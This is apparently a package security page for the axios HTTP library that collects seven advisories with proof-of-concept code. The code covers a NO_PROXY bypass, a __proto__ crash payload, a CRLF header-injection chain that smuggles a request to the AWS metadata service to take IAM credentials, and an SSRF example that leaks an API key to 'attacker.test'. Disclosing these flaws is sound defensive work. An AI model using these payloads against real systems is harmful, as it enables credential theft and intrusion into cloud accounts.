NodeJS/axios/0.20.0-0
Promise based HTTP client for the browser and node.js
https://www.npmjs.com/package/axios
MIT
7 Security Vulnerabilities
Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF
- https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5
- https://nvd.nist.gov/vuln/detail/CVE-2025-62718
- https://github.com/axios/axios/pull/10661
- https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df
- https://datatracker.ietf.org/doc/html/rfc1034#section-3.1
- https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2
- https://github.com/axios/axios/releases/tag/v1.15.0
- https://github.com/advisories/GHSA-3p68-rc4w-qgx5
- https://github.com/axios/axios/pull/10688
- https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
- https://github.com/axios/axios/releases/tag/v0.31.0
Axios does not correctly handle hostname normalization when checking NO_PROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.
This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.
According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost. However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.
This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.
PoC
import http from "http";
import axios from "axios";
const proxyPort = 5300;
http.createServer((req, res) => {
console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
res.writeHead(200, { "Content-Type": "text/plain" });
res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));
process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";
async function test(url) {
try {
await axios.get(url, { timeout: 2000 });
} catch {}
}
setTimeout(async () => {
console.log("\n[*] Testing http://localhost.:8080/");
await test("http://localhost.:8080/"); // goes through proxy
console.log("\n[*] Testing http://[::1]:8080/");
await test("http://[::1]:8080/"); // goes through proxy
}, 500);
Expected: Requests bypass the proxy (direct to loopback). Actual: Proxy logs requests for localhost. and [::1].
Impact
- Applications that rely on
NO_PROXY=localhost,127.0.0.1,::1for protecting loopback/internal access are vulnerable. Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.
Affected Versions
- Confirmed on Axios 1.12.2 (latest at time of testing).
- affects all versions that rely on Axios’ current
NO_PROXYevaluation.
Remediation Axios should normalize hostnames before evaluating NO_PROXY, including:
- Strip trailing dots from hostnames (per RFC 3986).
- Normalize IPv6 literals by removing brackets for matching.
Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig
- https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433
- https://github.com/axios/axios/pull/7369
- https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57
- https://github.com/axios/axios/releases/tag/v1.13.5
- https://nvd.nist.gov/vuln/detail/CVE-2026-25639
- https://github.com/advisories/GHSA-43fc-jf86-j433
- https://github.com/axios/axios/pull/7388
- https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e
- https://github.com/axios/axios/releases/tag/v0.30.3
Denial of Service via proto Key in mergeConfig
Summary
The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.
Details
The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
const merge = mergeMap[prop] || mergeDeepProperties;
const configValue = merge(config1[prop], config2[prop], prop);
(utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});
When prop is '__proto__':
JSON.parse('{"__proto__": {...}}')creates an object with__proto__as an own enumerable propertyObject.keys()includes'__proto__'in the iterationmergeMap['__proto__']performs prototype chain lookup, returningObject.prototype(truthy object)- The expression
mergeMap[prop] || mergeDeepPropertiesevaluates toObject.prototype Object.prototype(...)throwsTypeError: merge is not a function
The mergeConfig function is called by:
Axios._request()atlib/core/Axios.js:75Axios.getUri()atlib/core/Axios.js:201- All HTTP method shortcuts (
get,post, etc.) atlib/core/Axios.js:211,224
PoC
import axios from "axios";
const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);
Reproduction steps:
- Clone axios repository or
npm install axios - Create file
poc.mjswith the code above - Run:
node poc.mjs - Observe the TypeError crash
Verified output (axios 1.13.4):
TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)
Control tests performed: | Test | Config | Result | |------|--------|--------| | Normal config | {"timeout": 5000} | SUCCESS | | Malicious config | JSON.parse('{"__proto__": {"x": 1}}') | CRASH | | Nested object | {"headers": {"X-Test": "value"}} | SUCCESS |
Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.
Impact
Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.
Affected environments:
- Node.js servers using axios for HTTP requests
- Any backend that passes parsed JSON to axios configuration
This is NOT prototype pollution - the application crashes before any assignment occurs.
Axios vulnerable to Server-Side Request Forgery
- https://nvd.nist.gov/vuln/detail/CVE-2020-28168
- https://github.com/advisories/GHSA-4w2v-q235-vp99
- https://github.com/axios/axios/issues/3369
- https://github.com/axios/axios/commit/c7329fefc890050edd51e40e469a154d0117fc55
- https://snyk.io/vuln/SNYK-JS-AXIOS-1038255
- https://www.npmjs.com/package/axios
- https://www.npmjs.com/advisories/1594
- https://lists.apache.org/thread.html/r954d80fd18e9dafef6e813963eb7e08c228151c2b6268ecd63b35d1f@%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/r25d53acd06f29244b8a103781b0339c5e7efee9099a4d52f0c230e4a@%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/rdfd2901b8b697a3f6e2c9c6ecc688fd90d7f881937affb5144d61d6e@%3Ccommits.druid.apache.org%3E
- https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf
Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
axios Inefficient Regular Expression Complexity vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2021-3749
- https://github.com/advisories/GHSA-cph5-m8f7-6c5x
- https://github.com/axios/axios/commit/5b457116e31db0e88fede6c428e969e87f290929
- https://huntr.dev/bounties/1e8f07fc-c384-4ff9-8498-0690de2e8c31
- https://www.npmjs.com/package/axios
- https://lists.apache.org/thread.html/r075d464dce95cd13c03ff9384658edcccd5ab2983b82bfc72b62bb10@%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/r216f0fd0a3833856d6a6a1fada488cadba45f447d87010024328ccf2@%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/r3ae6d2654f92c5851bdb73b35e96b0e4e3da39f28ac7a1b15ae3aab8@%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/r4bf1b32983f50be00f9752214c1b53738b621be1c2b0dbd68c7f2391@%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/r7324ecc35b8027a51cb6ed629490fcd3b2d7cf01c424746ed5744bf1@%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/r74d0b359408fff31f87445261f0ee13bdfcac7d66f6b8e846face321@%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/ra15d63c54dc6474b29f72ae4324bcb03038758545b3ab800845de7a1@%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/rc263bfc5b53afcb7e849605478d73f5556eb0c00d1f912084e407289@%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/rfa094029c959da0f7c8cd7dc9c4e59d21b03457bf0cedf6c93e1bb0a@%3Cdev.druid.apache.org%3E
- https://lists.apache.org/thread.html/rfc5c478053ff808671aef170f3d9fc9d05cc1fab8fb64431edc66103@%3Ccommits.druid.apache.org%3E
- https://www.oracle.com/security-alerts/cpujul2022.html
- https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
- https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx
- https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1
- https://github.com/axios/axios/releases/tag/v1.15.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-40175
- https://github.com/axios/axios/pull/10660
- https://github.com/advisories/GHSA-fvcv-3m26-pcqx
- https://github.com/axios/axios/pull/10660#issuecomment-4224168081
- https://github.com/axios/axios/pull/10688
- https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
- https://github.com/axios/axios/releases/tag/v0.31.0
Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary
The Axios library is vulnerable to a specific Gadget
attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).
While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.
Severity: Critical (CVSS 9.9) Affected Versions: All versions (v0.x - v1.x) Vulnerable Component: lib/adapters/http.js (Header Processing)
Usage of Helper
Vulnerabilities
This vulnerability is unique because it requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.
Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: javascript Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request: javascript // This looks safe to the developer await axios.get('https://analytics.internal/pings');
3. The Execution
Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.
Resulting HTTP traffic: ```http GET /pings HTTP/1.1 Host: analytics.internal x-amz-target: dummy
PUT /latest/api/token HTTP/1.1 Host: 169.254.169.254 X-aws-ec2-metadata-token-ttl-seconds: 21600
GET /ignore HTTP/1.1 ... ```
4. The Impact (IMDSv2 Bypass)
The Smuggled
second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send). The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.
Impact Analysis
- Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
- Authentication Bypass: Can inject headers (
Cookie,Authorization) to pivot into internal administrative panels. - Cache Poisoning: Can inject
Hostheaders to poison shared caches.
Recommended Fix
Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.
Patch Suggestion: javascript // In lib/adapters/http.js utils.forEach(requestHeaders, function setRequestHeader(val, key) { if (/[\r\n]/.test(val)) { throw new Error('Security: Header value contains invalid characters'); } // ... proceed to set header });
References
- OWASP: CRLF Injection (CWE-113)
This report was generated as part of a security audit of the Axios library.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
- https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6
- https://github.com/axios/axios/issues/6463
- https://github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f
- https://github.com/axios/axios/releases/tag/v1.8.2
- https://nvd.nist.gov/vuln/detail/CVE-2025-27152
- https://github.com/advisories/GHSA-jr5f-v2jv-69x6
- https://github.com/axios/axios/pull/6829
- https://github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Details
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
- When
baseURLis set, passing an absolute URL such ashttp://attacker.test/toget()should not ignorebaseURL. - Before sending the HTTP request (after combining the
baseURLwith the user-provided parameter), axios should verify that the resulting URL still begins with the expectedbaseURL.
PoC
Follow the steps below to reproduce the issue:
- Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
- Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
- Run the script:
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
Impact
- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
- SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses
baseURLand does not validate path parameters is affected by this issue.
Axios Cross-Site Request Forgery Vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2023-45857
- https://github.com/axios/axios/issues/6006
- https://github.com/axios/axios/issues/6022
- https://github.com/axios/axios/pull/6028
- https://github.com/axios/axios/commit/96ee232bd3ee4de2e657333d4d2191cd389e14d0
- https://github.com/axios/axios/releases/tag/v1.6.0
- https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459
- https://github.com/advisories/GHSA-wf5p-g6vw-rhxx
- https://github.com/axios/axios/pull/6091
- https://github.com/axios/axios/commit/2755df562b9c194fba6d8b609a383443f6a6e967
- https://github.com/axios/axios/releases/tag/v0.28.0
- https://security.netapp.com/advisory/ntap-20240621-0006
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
135 Other Versions
| Version | License | Security | Released | |
|---|---|---|---|---|
| 1.15.2 | MIT | 2026-04-21 - 17:53 | 2 days | |
| 1.15.1 | MIT | 2026-04-19 - 17:07 | 4 days | |
| 1.15.0 | MIT | 2026-04-08 - 16:09 | 15 days | |
| 1.14.0 | MIT | 2 | 2026-03-27 - 19:01 | 27 days |
| 1.13.6 | MIT | 2 | 2026-02-27 - 15:35 | about 2 months |
| 1.13.5 | MIT | 2 | 2026-02-08 - 11:05 | 2 months |
| 1.13.4 | MIT | 3 | 2026-01-27 - 18:18 | 3 months |
| 1.13.3 | MIT | 3 | 2026-01-25 - 14:21 | 3 months |
| 1.13.2 | MIT | 3 | 2025-11-04 - 20:01 | 6 months |
| 1.13.1 | MIT | 4 | 2025-10-28 - 18:55 | 6 months |
| 1.13.0 | MIT | 4 | 2025-10-27 - 16:08 | 6 months |
| 1.12.2 | MIT | 3 | 2025-09-14 - 12:59 | 7 months |
| 1.12.1 | MIT | 3 | 2025-09-12 - 14:19 | 7 months |
| 1.12.0 | MIT | 3 | 2025-09-11 - 19:33 | 7 months |
| 1.11.0 | MIT | 4 | 2025-07-23 - 06:05 | 9 months |
| 1.10.0 | MIT | 5 | 2025-06-14 - 12:11 | 10 months |
| 1.9.0 | MIT | 4 | 2025-04-24 - 20:18 | 12 months |
| 1.8.4 | MIT | 4 | 2025-03-19 - 19:27 | about 1 year |
| 1.8.3 | MIT | 4 | 2025-03-12 - 07:24 | about 1 year |
| 1.8.2 | MIT | 4 | 2025-03-07 - 07:41 | about 1 year |
| 1.8.1 | MIT | 5 | 2025-02-26 - 09:07 | about 1 year |
| 1.8.0 | MIT | 5 | 2025-02-26 - 06:01 | about 1 year |
| 1.7.9 | MIT | 5 | 2024-12-04 - 07:38 | over 1 year |
| 1.7.8 | MIT | 5 | 2024-11-25 - 21:13 | over 1 year |
| 1.7.7 | MIT | 5 | 2024-08-31 - 22:02 | over 1 year |
| 1.7.6 | MIT | 5 | 2024-08-30 - 19:56 | over 1 year |
| 1.7.5 | MIT | 5 | 2024-08-23 - 13:32 | over 1 year |
| 1.7.4 | MIT | 5 | 2024-08-13 - 19:33 | over 1 year |
| 1.7.3 | MIT | 6 | 2024-08-01 - 16:16 | over 1 year |
| 1.7.2 | MIT | 6 | 2024-05-21 - 16:58 | almost 2 years |
| 1.7.1 | MIT | 6 | 2024-05-20 - 13:32 | almost 2 years |
| 1.7.0 | MIT | 6 | 2024-05-19 - 20:25 | almost 2 years |
| 1.7.0-beta.2 | MIT | 6 | 2024-05-19 - 18:01 | almost 2 years |
| 1.7.0-beta.1 | MIT | 6 | 2024-05-07 - 18:37 | almost 2 years |
| 1.7.0-beta.0 | MIT | 6 | 2024-04-28 - 19:50 | almost 2 years |
| 1.6.8 | MIT | 6 | 2024-03-15 - 16:32 | about 2 years |
| 1.6.7 | MIT | 6 | 2024-01-25 - 19:58 | about 2 years |
| 1.6.6 | MIT | 6 | 2024-01-24 - 23:12 | about 2 years |
| 1.6.5 | MIT | 6 | 2024-01-05 - 19:52 | over 2 years |
| 1.6.4 | MIT | 6 | 2024-01-03 - 22:10 | over 2 years |
| 1.6.3 | MIT | 6 | 2023-12-26 - 23:16 | over 2 years |
| 1.6.2 | MIT | 6 | 2023-11-14 - 20:36 | over 2 years |
| 1.6.1 | MIT | 6 | 2023-11-08 - 15:09 | over 2 years |
| 1.6.0 | MIT | 6 | 2023-10-26 - 21:15 | over 2 years |
| 1.5.1 | MIT | 7 | 2023-09-26 - 18:22 | over 2 years |
| 1.5.0 | MIT | 7 | 2023-08-26 - 19:10 | over 2 years |
| 1.4.0 | MIT | 7 | 2023-04-27 - 23:05 | almost 3 years |
| 1.3.6 | MIT | 7 | 2023-04-19 - 19:38 | about 3 years |
| 1.3.5 | MIT | 7 | 2023-04-05 - 18:03 | about 3 years |
| 1.3.4 | MIT | 7 | 2023-02-22 - 21:06 | about 3 years |
